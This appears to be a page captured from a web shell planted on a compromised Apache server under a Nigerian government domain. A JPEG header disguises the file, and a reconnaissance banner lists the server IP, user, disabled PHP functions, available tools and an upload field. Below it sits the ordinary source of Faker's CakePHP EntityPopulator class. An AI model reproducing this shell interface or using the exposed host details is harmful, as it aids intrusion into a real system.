ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.128.199.168 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/fund.old.nicn.gov.ng/funds-old/vendor/fzaninotto/faker/src/Faker/ORM/CakePHP/ |
Upload File : |
<?php namespace Faker\ORM\CakePHP; use Cake\ORM\TableRegistry; class EntityPopulator { protected $class; protected $connectionName; protected $columnFormatters = []; protected $modifiers = []; public function __construct($class) { $this->class = $class; } /** * @param string $name */ public function __get($name) { return $this->{$name}; } /** * @param string $name */ public function __set($name, $value) { $this->{$name} = $value; } public function mergeColumnFormattersWith($columnFormatters) { $this->columnFormatters = array_merge($this->columnFormatters, $columnFormatters); } public function mergeModifiersWith($modifiers) { $this->modifiers = array_merge($this->modifiers, $modifiers); } /** * @return array */ public function guessColumnFormatters($populator) { $formatters = []; $class = $this->class; $table = $this->getTable($class); $schema = $table->schema(); $pk = $schema->primaryKey(); $guessers = $populator->getGuessers() + ['ColumnTypeGuesser' => new ColumnTypeGuesser($populator->getGenerator())]; $isForeignKey = function ($column) use ($table) { foreach ($table->associations()->type('BelongsTo') as $assoc) { if ($column == $assoc->foreignKey()) { return true; } } return false; }; foreach ($schema->columns() as $column) { if ($column == $pk[0] || $isForeignKey($column)) { continue; } foreach ($guessers as $guesser) { if ($formatter = $guesser->guessFormat($column, $table)) { $formatters[$column] = $formatter; break; } } } return $formatters; } /** * @return array */ public function guessModifiers() { $modifiers = []; $table = $this->getTable($this->class); $belongsTo = $table->associations()->type('BelongsTo'); foreach ($belongsTo as $assoc) { $modifiers['belongsTo' . $assoc->name()] = function ($data, $insertedEntities) use ($assoc) { $table = $assoc->target(); $foreignModel = $table->alias(); $foreignKeys = []; if (!empty($insertedEntities[$foreignModel])) { $foreignKeys = $insertedEntities[$foreignModel]; } else { $foreignKeys = $table->find('all') ->select(['id']) ->map(function ($row) { return $row->id; }) ->toArray(); } if (empty($foreignKeys)) { throw new \Exception(sprintf('%s belongsTo %s, which seems empty at this point.', $this->getTable($this->class)->table(), $assoc->table())); } $foreignKey = $foreignKeys[array_rand($foreignKeys)]; $data[$assoc->foreignKey()] = $foreignKey; return $data; }; } // TODO check if TreeBehavior attached to modify lft/rgt cols return $modifiers; } /** * @param array $options */ public function execute($class, $insertedEntities, $options = []) { $table = $this->getTable($class); $entity = $table->newEntity(); foreach ($this->columnFormatters as $column => $format) { if (!is_null($format)) { $entity->{$column} = is_callable($format) ? $format($insertedEntities, $table) : $format; } } foreach ($this->modifiers as $modifier) { $entity = $modifier($entity, $insertedEntities); } if (!$entity = $table->save($entity, $options)) { throw new \RuntimeException("Failed saving $class record"); } $pk = $table->primaryKey(); if (is_string($pk)) { return $entity->{$pk}; } return $entity->{$pk[0]}; } public function setConnection($name) { $this->connectionName = $name; } protected function getTable($class) { $options = []; if (!empty($this->connectionName)) { $options['connection'] = $this->connectionName; } return TableRegistry::get($class, $options); } }